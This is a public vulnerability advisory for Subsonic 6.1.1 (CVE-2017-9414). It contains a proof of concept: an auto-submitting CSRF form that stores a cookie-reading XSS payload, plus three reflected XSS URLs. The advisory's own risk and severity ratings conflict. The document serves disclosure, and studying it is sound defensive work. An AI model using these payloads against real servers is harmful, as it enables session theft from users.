Subsonic 6.1.1 Persistent XSS

Credit: hyp3rlinx
Risk: Low
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[+] Credits: John Page a.k.a hyp3rlinx [+] Website: [+] Source: [+] ISR: ApparitionSec Vendor: ================ Product: =============== subsonic v6.1.1 Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection. Vulnerability Type: ====================== CSRF - Persistent XSS CVE Reference: ============== CVE-2017-9414 Security Issue: ================ Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads if an authenticated user clicks a malicious link or visits an attacker controlled webpage. Exploit/POC: ============= <form action="http://localhost:4040/playerSettings.view" method="post"> <input name="playerId" type="hidden" value="1"> <input name="name" type="text" value="&lt;script&gt;alert('XSS ' +document.cookie)&lt;/script&gt;"> <script>document.forms[0].submit()</script> </form> Then visit http://localhost:4040/index.view HTTP Response: XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl Misc Reflected: XSS 1 http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS 2 http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS 3 http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ================================== Vendor Notification: May 29, 2017 Vendor Acknowledgement: May 30, 2017 June 4, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

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